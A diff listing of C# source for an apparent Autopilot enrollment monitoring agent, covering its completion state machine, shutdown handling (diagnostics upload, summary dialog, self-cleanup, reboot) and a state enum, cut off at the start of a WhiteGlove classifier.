_currentState = EnrollmentCompletionState.Completed;
|
||||
result.ShouldEmitEnrollmentComplete = true;
|
||||
result.CompletionSource = "self_deploying_provisioning_complete";
|
||||
result.Transitioned = true;
|
||||
result.NewState = _currentState;
|
||||
return result;
|
||||
}
|
||||
|
||||
private TransitionResult HandleHelloSafetyTimeout(CompletionContext ctx)
|
||||
{
|
||||
if (!_isWaitingForHello)
|
||||
return TransitionResult.NoTransition;
|
||||
|
||||
var prev = _currentState;
|
||||
_isWaitingForHello = false;
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
|
||||
return new TransitionResult
|
||||
{
|
||||
Transitioned = true,
|
||||
PreviousState = prev,
|
||||
NewState = _currentState,
|
||||
ShouldForceMarkHelloCompleted = true,
|
||||
ShouldEmitEnrollmentComplete = true,
|
||||
CompletionSource = "ime_hello_safety_timeout",
|
||||
SignalsToRecord = new List<string> { "ime_hello_safety_timeout" }
|
||||
};
|
||||
}
|
||||
|
||||
private TransitionResult HandleEspSettleTimeout(CompletionContext ctx)
|
||||
{
|
||||
if (!_isWaitingForEspSettle)
|
||||
return TransitionResult.NoTransition;
|
||||
|
||||
var prev = _currentState;
|
||||
_isWaitingForEspSettle = false;
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
|
||||
return new TransitionResult
|
||||
{
|
||||
Transitioned = true,
|
||||
PreviousState = prev,
|
||||
NewState = _currentState,
|
||||
ShouldEmitEnrollmentComplete = true,
|
||||
CompletionSource = "ime_pattern",
|
||||
SignalsToRecord = new List<string> { "esp_provisioning_settled" }
|
||||
};
|
||||
}
|
||||
|
||||
private TransitionResult HandleDeviceOnlyEspTimerExpired(CompletionContext ctx)
|
||||
{
|
||||
// AccountSetup started meanwhile? Timer is obsolete
|
||||
if (string.Equals(ctx.LastEspPhase, "AccountSetup", StringComparison.OrdinalIgnoreCase))
|
||||
return TransitionResult.NoTransition;
|
||||
|
||||
if (!_desktopArrived)
|
||||
return TransitionResult.NoTransition; // Wait for desktop
|
||||
|
||||
var prev = _currentState;
|
||||
_espFinalExitSeen = true;
|
||||
_currentState = EnrollmentCompletionState.DesktopArrivedAwaitingHello;
|
||||
|
||||
return new TransitionResult
|
||||
{
|
||||
Transitioned = true,
|
||||
PreviousState = prev,
|
||||
NewState = _currentState,
|
||||
ShouldStartHelloWaitTimer = true,
|
||||
ShouldPersistState = true,
|
||||
SignalsToRecord = new List<string> { "device_only_esp_final_exit" }
|
||||
};
|
||||
}
|
||||
|
||||
private TransitionResult HandleDeviceOnlySafetyTimeout(CompletionContext ctx)
|
||||
{
|
||||
var prev = _currentState;
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
|
||||
return new TransitionResult
|
||||
{
|
||||
Transitioned = true,
|
||||
PreviousState = prev,
|
||||
NewState = _currentState,
|
||||
ShouldForceMarkHelloCompleted = true,
|
||||
ShouldEmitEnrollmentComplete = true,
|
||||
CompletionSource = "device_only_esp_safety_timeout",
|
||||
SignalsToRecord = new List<string> { "device_only_esp_safety_timeout" }
|
||||
};
|
||||
}
|
||||
|
||||
private TransitionResult HandleEspFailureTerminal(CompletionContext ctx)
|
||||
{
|
||||
var prev = _currentState;
|
||||
_currentState = EnrollmentCompletionState.Failed;
|
||||
|
||||
return new TransitionResult
|
||||
{
|
||||
Transitioned = true,
|
||||
PreviousState = prev,
|
||||
NewState = _currentState,
|
||||
ShouldEmitEnrollmentFailed = true,
|
||||
FailureType = ctx.Source
|
||||
};
|
||||
}
|
||||
|
||||
private TransitionResult HandleWhiteGloveComplete(CompletionContext ctx)
|
||||
{
|
||||
var prev = _currentState;
|
||||
_currentState = EnrollmentCompletionState.WhiteGloveCompleted;
|
||||
|
||||
return new TransitionResult
|
||||
{
|
||||
Transitioned = true,
|
||||
PreviousState = prev,
|
||||
NewState = _currentState,
|
||||
ShouldEmitWhiteGloveComplete = true
|
||||
};
|
||||
}
|
||||
|
||||
private TransitionResult HandleEspResumed(CompletionContext ctx)
|
||||
{
|
||||
if (!ctx.IsHybridJoin || !_espFinalExitSeen)
|
||||
return TransitionResult.NoTransition;
|
||||
|
||||
var prev = _currentState;
|
||||
_espFinalExitSeen = false;
|
||||
_currentState = EnrollmentCompletionState.EspActive;
|
||||
|
||||
return new TransitionResult
|
||||
{
|
||||
Transitioned = true,
|
||||
PreviousState = prev,
|
||||
NewState = _currentState,
|
||||
ShouldResetEspForResumption = true,
|
||||
ShouldPersistState = true,
|
||||
SignalsToRecord = new List<string> { "esp_resumed" }
|
||||
};
|
||||
}
|
||||
|
||||
private TransitionResult HandleDeviceInfoCollected(CompletionContext ctx)
|
||||
{
|
||||
if (_currentState != EnrollmentCompletionState.DeferredForDeviceInfo)
|
||||
return TransitionResult.NoTransition;
|
||||
|
||||
var prev = _currentState;
|
||||
var deferredSource = _deferredSource;
|
||||
_deferredSource = null;
|
||||
|
||||
// Re-evaluate: now that device info is available, check if device-only
|
||||
if (ctx.IsDeviceOnly)
|
||||
{
|
||||
if (!_espEverSeen) _espEverSeen = true;
|
||||
if (!_espFinalExitSeen)
|
||||
{
|
||||
_espFinalExitSeen = true;
|
||||
}
|
||||
|
||||
_currentState = EnrollmentCompletionState.Completed;
|
||||
return new TransitionResult
|
||||
{
|
||||
Transitioned = true,
|
||||
PreviousState = prev,
|
||||
NewState = _currentState,
|
||||
ShouldEmitEnrollmentComplete = true,
|
||||
CompletionSource = deferredSource ?? "device_setup_provisioning_complete",
|
||||
ShouldPersistState = true,
|
||||
SignalsToRecord = new List<string> { "self_deploying_esp_final_exit" }
|
||||
};
|
||||
}
|
||||
|
||||
// Not device-only: revert to appropriate non-terminal state
|
||||
if (_espFinalExitSeen)
|
||||
_currentState = EnrollmentCompletionState.EspExitedAwaitingCompletion;
|
||||
else if (_espEverSeen)
|
||||
_currentState = _desktopArrived
|
||||
? EnrollmentCompletionState.DesktopArrivedEspBlocking
|
||||
: EnrollmentCompletionState.EspActive;
|
||||
else
|
||||
_currentState = _desktopArrived
|
||||
? EnrollmentCompletionState.DesktopArrivedAwaitingHello
|
||||
: EnrollmentCompletionState.Idle;
|
||||
|
||||
return new TransitionResult
|
||||
{
|
||||
Transitioned = true,
|
||||
PreviousState = prev,
|
||||
NewState = _currentState,
|
||||
DeferredSource = deferredSource
|
||||
};
|
||||
}
|
||||
|
||||
// ===== Guard Helpers (called under lock) =====
|
||||
|
||||
/// <summary>
|
||||
/// Checks all three completion guards for a given source.
|
||||
/// </summary>
|
||||
private bool CanComplete(CompletionContext ctx, string source)
|
||||
{
|
||||
bool helloResolved = CompletionGuards.IsHelloResolved(
|
||||
ctx.HasHelloTracker, ctx.IsHelloCompleted,
|
||||
ctx.IsHelloPolicyConfigured, ctx.IsDeviceOnly);
|
||||
|
||||
bool espGateBlocking = CompletionGuards.IsEspGateBlocking(
|
||||
source, ctx.EnrollmentType, _espEverSeen, _espFinalExitSeen);
|
||||
|
||||
bool hybridRebootGateBlocking = CompletionGuards.IsHybridRebootGateBlocking(
|
||||
ctx.IsHybridJoin, source,
|
||||
ctx.ImePatternSeenUtc, ctx.EspFinalExitUtc, ctx.AgentStartTimeUtc);
|
||||
|
||||
return helloResolved && !espGateBlocking && !hybridRebootGateBlocking;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Completion check with Hello always resolved (caller has just confirmed Hello completed).
|
||||
/// Only checks ESP gate and hybrid reboot gate.
|
||||
/// </summary>
|
||||
private bool CanCompleteWithHelloResolved(CompletionContext ctx, string source)
|
||||
{
|
||||
bool espGateBlocking = CompletionGuards.IsEspGateBlocking(
|
||||
source, ctx.EnrollmentType, _espEverSeen, _espFinalExitSeen);
|
||||
|
||||
bool hybridRebootGateBlocking = CompletionGuards.IsHybridRebootGateBlocking(
|
||||
ctx.IsHybridJoin, source,
|
||||
ctx.ImePatternSeenUtc, ctx.EspFinalExitUtc, ctx.AgentStartTimeUtc);
|
||||
|
||||
return !espGateBlocking && !hybridRebootGateBlocking;
|
||||
}
|
||||
}
|
||||
}
|
||||
-399
@@ -1,399 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Principal;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Transport;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Agent.Core.Security;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles enrollment terminal events: enrollment_complete, enrollment_failed, and
|
||||
/// whiteglove_complete shutdown sequences including diagnostics upload, summary dialog,
|
||||
/// self-destruct, and reboot.
|
||||
/// </summary>
|
||||
public class EnrollmentCompletionHandler
|
||||
{
|
||||
private readonly AgentConfiguration _configuration;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly string _agentVersion;
|
||||
private readonly Action<EnrollmentEvent> _emitEvent;
|
||||
private readonly Action<string, string, Dictionary<string, object>> _emitShutdownEvent;
|
||||
private readonly Func<Task> _uploadEventsAsync;
|
||||
private readonly Action _stopUploadTimers;
|
||||
private readonly CleanupService _cleanupService;
|
||||
private readonly DiagnosticsPackageService _diagnosticsService;
|
||||
private readonly SessionPersistence _sessionPersistence;
|
||||
private readonly EventSpool _spool;
|
||||
|
||||
public EnrollmentCompletionHandler(
|
||||
AgentConfiguration configuration,
|
||||
AgentLogger logger,
|
||||
string agentVersion,
|
||||
Action<EnrollmentEvent> emitEvent,
|
||||
Action<string, string, Dictionary<string, object>> emitShutdownEvent,
|
||||
Func<Task> uploadEventsAsync,
|
||||
Action stopUploadTimers,
|
||||
CleanupService cleanupService,
|
||||
DiagnosticsPackageService diagnosticsService,
|
||||
SessionPersistence sessionPersistence,
|
||||
EventSpool spool)
|
||||
{
|
||||
_configuration = configuration;
|
||||
_logger = logger;
|
||||
_agentVersion = agentVersion;
|
||||
_emitEvent = emitEvent;
|
||||
_emitShutdownEvent = emitShutdownEvent;
|
||||
_uploadEventsAsync = uploadEventsAsync;
|
||||
_stopUploadTimers = stopUploadTimers;
|
||||
_cleanupService = cleanupService;
|
||||
_diagnosticsService = diagnosticsService;
|
||||
_sessionPersistence = sessionPersistence;
|
||||
_spool = spool;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Handles normal enrollment completion (success or failure).
|
||||
/// Stops collectors, runs shutdown analyzers, uploads diagnostics, optionally self-destructs.
|
||||
/// </summary>
|
||||
public async Task HandleEnrollmentComplete(
|
||||
bool enrollmentSucceeded,
|
||||
bool isWhiteGlovePart2,
|
||||
Action stopCollectors,
|
||||
Action<int?> runShutdownAnalyzers)
|
||||
{
|
||||
try
|
||||
{
|
||||
_logger.Info("===== ENROLLMENT COMPLETE - Starting shutdown sequence =====");
|
||||
|
||||
_logger.Info("Stopping event collectors...");
|
||||
stopCollectors();
|
||||
_spool.StopWatching();
|
||||
|
||||
runShutdownAnalyzers(isWhiteGlovePart2 ? 2 : (int?)null);
|
||||
|
||||
_logger.Info("Uploading final events...");
|
||||
await _uploadEventsAsync();
|
||||
|
||||
await Task.Delay(2000);
|
||||
|
||||
await UploadDiagnosticsWithTimelineEvents(enrollmentSucceeded);
|
||||
|
||||
if (_configuration.ShowEnrollmentSummary)
|
||||
LaunchEnrollmentSummaryDialog();
|
||||
|
||||
if (_configuration.SelfDestructOnComplete)
|
||||
{
|
||||
_cleanupService.ExecuteSelfDestruct();
|
||||
}
|
||||
else if (_configuration.RebootOnComplete)
|
||||
{
|
||||
_logger.Info($"RebootOnComplete enabled - initiating reboot in {_configuration.RebootDelaySeconds}s");
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
Timestamp = DateTime.UtcNow,
|
||||
EventType = "reboot_triggered",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "MonitoringService",
|
||||
Phase = EnrollmentPhase.Complete,
|
||||
Message = $"Reboot configured — triggering reboot in {_configuration.RebootDelaySeconds} seconds",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "rebootDelaySeconds", _configuration.RebootDelaySeconds }
|
||||
},
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
await _uploadEventsAsync();
|
||||
|
||||
StartReboot(_configuration.RebootDelaySeconds);
|
||||
}
|
||||
|
||||
_emitShutdownEvent(
|
||||
enrollmentSucceeded ? "enrollment_complete" : "enrollment_failed",
|
||||
$"Agent shutting down after enrollment {(enrollmentSucceeded ? "completion" : "failure")}",
|
||||
new Dictionary<string, object>
|
||||
{
|
||||
{ "enrollmentSucceeded", enrollmentSucceeded },
|
||||
{ "selfDestruct", _configuration.SelfDestructOnComplete },
|
||||
{ "reboot", _configuration.RebootOnComplete }
|
||||
});
|
||||
await _uploadEventsAsync();
|
||||
|
||||
_logger.Info("Shutdown sequence complete. Agent will now exit.");
|
||||
ExitProcess(0);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error during self-destruct sequence", ex);
|
||||
ExitProcess(1);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Graceful shutdown after WhiteGlove (Pre-Provisioning) completes.
|
||||
/// Does NOT delete the session ID — the session must survive for Part 2.
|
||||
/// </summary>
|
||||
public async Task HandleWhiteGloveComplete(
|
||||
Action stopCollectors,
|
||||
Action<int?> runShutdownAnalyzers,
|
||||
Func<long> readEventSequence)
|
||||
{
|
||||
try
|
||||
{
|
||||
_logger.Info("===== WHITEGLOVE COMPLETE - Starting graceful shutdown sequence =====");
|
||||
|
||||
runShutdownAnalyzers(1);
|
||||
|
||||
_logger.Info("Uploading final events (draining spool)...");
|
||||
int maxIterations = 20;
|
||||
while (_spool.GetCount() > 0 && maxIterations-- > 0)
|
||||
{
|
||||
await _uploadEventsAsync();
|
||||
}
|
||||
|
||||
await Task.Delay(2000);
|
||||
|
||||
await UploadDiagnosticsWithTimelineEvents(enrollmentSucceeded: true, fileNameSuffix: "preprov");
|
||||
|
||||
_sessionPersistence.SaveWhiteGloveComplete();
|
||||
_logger.Info("WhiteGlove marker persisted for Part 2 detection");
|
||||
|
||||
_emitShutdownEvent(
|
||||
"whiteglove_complete",
|
||||
"Agent shutting down after WhiteGlove Part 1 — no cleanup, session preserved for Part 2 on next boot",
|
||||
new Dictionary<string, object>
|
||||
{
|
||||
{ "sessionPreserved", true },
|
||||
{ "selfDestruct", false },
|
||||
{ "reboot", false },
|
||||
{ "cleanup", false },
|
||||
{ "willResumeOnNextBoot", true }
|
||||
});
|
||||
await _uploadEventsAsync();
|
||||
|
||||
var finalSequence = readEventSequence();
|
||||
_sessionPersistence.SaveSequence(finalSequence);
|
||||
_logger.Info($"Sequence counter persisted at {finalSequence} for next boot");
|
||||
|
||||
_logger.Info("WhiteGlove graceful shutdown complete. Agent exiting.");
|
||||
ExitProcess(0);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error during WhiteGlove shutdown sequence", ex);
|
||||
ExitProcess(0);
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual void ExitProcess(int code) => Environment.Exit(code);
|
||||
|
||||
internal virtual void StartReboot(int delaySeconds)
|
||||
{
|
||||
var psi = new ProcessStartInfo
|
||||
{
|
||||
FileName = SystemPaths.Shutdown,
|
||||
Arguments = $"/r /t {delaySeconds} /c \"Autopilot enrollment completed - rebooting\"",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
Process.Start(psi);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the persisted session ID and sequence files.
|
||||
/// </summary>
|
||||
public void DeleteSessionId()
|
||||
{
|
||||
_logger.Info("Deleting persisted session ID and sequence...");
|
||||
try
|
||||
{
|
||||
_sessionPersistence.DeleteSession();
|
||||
_logger.Info("Session ID and sequence deleted successfully");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Failed to delete session ID: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private async Task UploadDiagnosticsWithTimelineEvents(bool enrollmentSucceeded, string fileNameSuffix = null)
|
||||
{
|
||||
var mode = _configuration.DiagnosticsUploadMode ?? "Off";
|
||||
if (string.Equals(mode, "Off", StringComparison.OrdinalIgnoreCase))
|
||||
return;
|
||||
if (!_configuration.DiagnosticsUploadEnabled)
|
||||
return;
|
||||
if (string.Equals(mode, "OnFailure", StringComparison.OrdinalIgnoreCase) && enrollmentSucceeded)
|
||||
return;
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
Timestamp = DateTime.UtcNow,
|
||||
EventType = "diagnostics_collecting",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "MonitoringService",
|
||||
Phase = EnrollmentPhase.Complete,
|
||||
Message = $"Collecting diagnostics package (mode={mode}{(fileNameSuffix != null ? $", type={fileNameSuffix}" : "")})",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "uploadMode", mode }
|
||||
}
|
||||
});
|
||||
await _uploadEventsAsync();
|
||||
|
||||
var uploadResult = await _diagnosticsService.CreateAndUploadAsync(enrollmentSucceeded, fileNameSuffix);
|
||||
var success = uploadResult?.Success == true;
|
||||
|
||||
var resultData = new Dictionary<string, object>
|
||||
{
|
||||
{ "uploadMode", mode }
|
||||
};
|
||||
if (uploadResult?.BlobName != null)
|
||||
resultData["blobName"] = uploadResult.BlobName;
|
||||
// Backend stamps Session.DiagnosticsBlobDestination from this so the download
|
||||
// path can route correctly even after a future tenant destination switch.
|
||||
// Omitted on legacy backend responses (Destination=null) — backend then falls
|
||||
// back to treating the session as CustomerSas, which matches today's behaviour.
|
||||
if (uploadResult?.Destination != null)
|
||||
resultData["destination"] = uploadResult.Destination;
|
||||
if (uploadResult?.SasUrlPrefix != null)
|
||||
resultData["sasUrl"] = uploadResult.SasUrlPrefix;
|
||||
if (uploadResult?.ErrorCode != null)
|
||||
resultData["errorCode"] = uploadResult.ErrorCode;
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
Timestamp = DateTime.UtcNow,
|
||||
EventType = success ? "diagnostics_uploaded" : "diagnostics_upload_failed",
|
||||
Severity = success ? EventSeverity.Info : EventSeverity.Warning,
|
||||
Source = "MonitoringService",
|
||||
Phase = EnrollmentPhase.Complete,
|
||||
Message = success
|
||||
? $"Diagnostics package uploaded: {uploadResult.BlobName}"
|
||||
: $"Diagnostics package upload failed{(uploadResult?.ErrorCode != null ? $": {uploadResult.ErrorCode}" : "")}",
|
||||
Data = resultData
|
||||
});
|
||||
await _uploadEventsAsync();
|
||||
}
|
||||
|
||||
private void LaunchEnrollmentSummaryDialog()
|
||||
{
|
||||
try
|
||||
{
|
||||
var agentDir = Path.GetDirectoryName(
|
||||
System.Reflection.Assembly.GetExecutingAssembly().Location) ?? string.Empty;
|
||||
var dialogExe = Path.Combine(agentDir, "AutopilotMonitor.SummaryDialog.exe");
|
||||
|
||||
if (!File.Exists(dialogExe))
|
||||
{
|
||||
_logger.Warning($"Summary dialog EXE not found at {dialogExe} — skipping");
|
||||
return;
|
||||
}
|
||||
|
||||
var statusFile = Path.Combine(
|
||||
Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\State"),
|
||||
"final-status.json");
|
||||
|
||||
if (!File.Exists(statusFile))
|
||||
{
|
||||
_logger.Warning($"final-status.json not found at {statusFile} — skipping summary dialog");
|
||||
return;
|
||||
}
|
||||
|
||||
var tempDir = Path.Combine(
|
||||
Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData),
|
||||
"AutopilotMonitor-Summary");
|
||||
|
||||
try { if (Directory.Exists(tempDir)) Directory.Delete(tempDir, true); } catch { }
|
||||
Directory.CreateDirectory(tempDir);
|
||||
|
||||
GrantUserDeletePermission(tempDir);
|
||||
|
||||
var tempDialogExe = Path.Combine(tempDir, "AutopilotMonitor.SummaryDialog.exe");
|
||||
File.Copy(dialogExe, tempDialogExe);
|
||||
|
||||
var jsonDll = Path.Combine(agentDir, "Newtonsoft.Json.dll");
|
||||
if (File.Exists(jsonDll))
|
||||
File.Copy(jsonDll, Path.Combine(tempDir, "Newtonsoft.Json.dll"));
|
||||
|
||||
var exeConfig = dialogExe + ".config";
|
||||
if (File.Exists(exeConfig))
|
||||
File.Copy(exeConfig, tempDialogExe + ".config");
|
||||
|
||||
var tempStatusFile = Path.Combine(tempDir, "final-status.json");
|
||||
File.Copy(statusFile, tempStatusFile);
|
||||
|
||||
var args = $"--status-file \"{tempStatusFile}\" --timeout {_configuration.EnrollmentSummaryTimeoutSeconds} --cleanup";
|
||||
if (!string.IsNullOrEmpty(_configuration.EnrollmentSummaryBrandingImageUrl))
|
||||
args += $" --branding-url \"{_configuration.EnrollmentSummaryBrandingImageUrl}\"";
|
||||
|
||||
_logger.Info($"Launching enrollment summary dialog: {tempDialogExe} {args}");
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
Timestamp = DateTime.UtcNow,
|
||||
EventType = "enrollment_summary_shown",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "MonitoringService",
|
||||
Phase = EnrollmentPhase.Complete,
|
||||
Message = "Launching enrollment summary dialog to user"
|
||||
});
|
||||
|
||||
try { _uploadEventsAsync().Wait(TimeSpan.FromSeconds(5)); } catch { }
|
||||
|
||||
var launched = UserSessionProcessLauncher.LaunchInUserSession(
|
||||
tempDialogExe, args, _logger,
|
||||
_configuration.EnrollmentSummaryLaunchRetrySeconds);
|
||||
if (!launched)
|
||||
{
|
||||
_logger.Warning("Could not launch summary dialog in user session (no interactive session found)");
|
||||
try { Directory.Delete(tempDir, true); } catch { }
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Failed to launch enrollment summary dialog: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void GrantUserDeletePermission(string directoryPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
var dirInfo = new DirectoryInfo(directoryPath);
|
||||
var security = dirInfo.GetAccessControl();
|
||||
var usersIdentity = new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null);
|
||||
security.AddAccessRule(new FileSystemAccessRule(
|
||||
usersIdentity,
|
||||
FileSystemRights.FullControl,
|
||||
InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit,
|
||||
PropagationFlags.None,
|
||||
AccessControlType.Allow));
|
||||
dirInfo.SetAccessControl(security);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Debug($"Could not set ACL on summary folder: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
-120
@@ -1,120 +0,0 @@
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion
|
||||
{
|
||||
/// <summary>
|
||||
/// Explicit states for the enrollment completion state machine.
|
||||
/// Each state represents a distinguishable configuration of the implicit boolean flags
|
||||
/// that previously existed only as field combinations in EnrollmentTracker.CompletionLogic.cs.
|
||||
/// </summary>
|
||||
internal enum EnrollmentCompletionState
|
||||
{
|
||||
/// <summary>
|
||||
/// Initial state. No completion-relevant signals received.
|
||||
/// Waiting for: ESP phase event, desktop arrival, or device setup provisioning.
|
||||
/// </summary>
|
||||
Idle,
|
||||
|
||||
/// <summary>
|
||||
/// ESP has been seen (at least one phase detected) but no final exit yet.
|
||||
/// Waiting for: ESP exit (FinalizingSetup trigger), desktop arrival, or device-only timer.
|
||||
/// </summary>
|
||||
EspActive,
|
||||
|
||||
/// <summary>
|
||||
/// ESP exited from AccountSetup (or desktop-arrival backup). espFinalExitSeen=true.
|
||||
/// Waiting for: Hello resolution, IME user session completion, or safety timeout.
|
||||
/// </summary>
|
||||
EspExitedAwaitingCompletion,
|
||||
|
||||
/// <summary>
|
||||
/// IME user session completed but Hello is configured and not yet resolved.
|
||||
/// isWaitingForHello=true. Safety timer running (420s / 7 min).
|
||||
/// </summary>
|
||||
WaitingForHello,
|
||||
|
||||
/// <summary>
|
||||
/// IME user session completed but ESP provisioning categories not yet resolved in registry.
|
||||
/// isWaitingForEspSettle=true. Settle timer running (30s).
|
||||
/// </summary>
|
||||
WaitingForEspSettle,
|
||||
|
||||
/// <summary>
|
||||
/// Desktop arrived but ESP is still active (ESP gate blocking completion).
|
||||
/// Waiting for: ESP final exit.
|
||||
/// </summary>
|
||||
DesktopArrivedEspBlocking,
|
||||
|
||||
/// <summary>
|
||||
/// Desktop arrived, no ESP blocking (ESP exited, never seen, or v2). Hello may be pending.
|
||||
/// Waiting for: Hello resolution or direct completion.
|
||||
/// </summary>
|
||||
DesktopArrivedAwaitingHello,
|
||||
|
||||
/// <summary>
|
||||
/// Device-only deployment detected (Self-Deploying or SkipUserStatusPage=true without AAD user).
|
||||
/// Waiting for provisioning complete or IME completion. Hello guard bypassed.
|
||||
/// </summary>
|
||||
DeviceOnlyAwaitingCompletion,
|
||||
|
||||
/// <summary>
|
||||
/// Device-only ESP exit detected but completion didn't fire immediately (Hello pending).
|
||||
/// Safety timer running (420s / 7 min).
|
||||
/// </summary>
|
||||
DeviceOnlySafetyWait,
|
||||
|
||||
/// <summary>
|
||||
/// Hybrid join: esp_hello_composite blocked by reboot gate.
|
||||
/// Waiting for: IME user session completion or agent restart confirmation after ESP exit.
|
||||
/// </summary>
|
||||
HybridRebootGateBlocked,
|
||||
|
||||
/// <summary>
|
||||
/// Device info not yet collected when a completion signal arrived.
|
||||
/// Completion source deferred until CollectDeviceInfo finishes (pendingCompletionSource set).
|
||||
/// </summary>
|
||||
DeferredForDeviceInfo,
|
||||
|
||||
/// <summary>
|
||||
/// Terminal: enrollment_complete event emitted. No further transitions possible.
|
||||
/// </summary>
|
||||
Completed,
|
||||
|
||||
/// <summary>
|
||||
/// Terminal: enrollment_failed event emitted. No further transitions possible.
|
||||
/// </summary>
|
||||
Failed,
|
||||
|
||||
/// <summary>
|
||||
/// Terminal: whiteglove_complete event emitted. No further transitions possible.
|
||||
/// </summary>
|
||||
WhiteGloveCompleted
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extension methods for EnrollmentCompletionState.
|
||||
/// </summary>
|
||||
internal static class EnrollmentCompletionStateExtensions
|
||||
{
|
||||
/// <summary>
|
||||
/// Returns true if the state is terminal (Completed, Failed, or WhiteGloveCompleted).
|
||||
/// No further transitions are allowed from terminal states.
|
||||
/// </summary>
|
||||
public static bool IsTerminal(this EnrollmentCompletionState state)
|
||||
{
|
||||
return state == EnrollmentCompletionState.Completed
|
||||
|| state == EnrollmentCompletionState.Failed
|
||||
|| state == EnrollmentCompletionState.WhiteGloveCompleted;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns true if the state is a waiting state (actively waiting for a signal or timeout).
|
||||
/// </summary>
|
||||
public static bool IsWaiting(this EnrollmentCompletionState state)
|
||||
{
|
||||
return state == EnrollmentCompletionState.WaitingForHello
|
||||
|| state == EnrollmentCompletionState.WaitingForEspSettle
|
||||
|| state == EnrollmentCompletionState.DeviceOnlySafetyWait
|
||||
|| state == EnrollmentCompletionState.HybridRebootGateBlocked
|
||||
|| state == EnrollmentCompletionState.DeferredForDeviceInfo;
|
||||
}
|
||||
}
|
||||
}
|
||||
-150
@@ -1,150 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion
|
||||
{
|
||||
/// <summary>
|
||||
/// Confidence level for a WhiteGlove Part 1 classification.
|
||||
/// </summary>
|
||||
internal enum WhiteGloveConfidence
|
||||
{
|
||||
/// <summary>Score below <see cref="WhiteGloveClassifier.LowThreshold"/> — definitely not WhiteGlove.</summary>
|
||||
None,
|
||||
|
||||
/// <summary>Score between low and high thresholds — ambiguous. Routed as NOT WhiteGlove (asymmetric-conservative).</summary>
|
||||
Weak,
|
||||
|
||||
/// <summary>Score at or above <see cref="WhiteGloveClassifier.HighThreshold"/> — classify as WhiteGlove Part 1.</summary>
|
||||
Strong,
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Result of a <see cref="WhiteGloveClassifier.Classify"/> call. Contains the
|
||||
/// final routing decision, the numeric score and the contributing factors for
|
||||
/// observability / tuning.
|
||||
/// </summary>
|
||||
internal sealed class WhiteGloveClassification
|
||||
{
|
||||
public WhiteGloveConfidence Confidence { get; set; }
|
||||
public int Score { get; set; }
|
||||
public List<string> ContributingFactors { get; set; } = new List<string>();
|
||||
public string Reason { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Single Boolean the caller should read to decide whether to route to
|
||||
/// <c>whiteglove_complete</c> (Pending) instead of the normal completion path.
|
||||
/// Only true when <see cref="Confidence"/> is <see cref="WhiteGloveConfidence.Strong"/>.
|
||||
/// </summary>
|
||||
public bool ShouldRouteToWhiteGlovePart1 { get; set; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Scoring-based WhiteGlove Part 1 classifier — modelled on the backend
|
||||
/// <c>AnalyzeRule.BaseConfidence + ConfidenceFactors + ConfidenceThreshold</c> pattern.
|
||||
///
|
||||
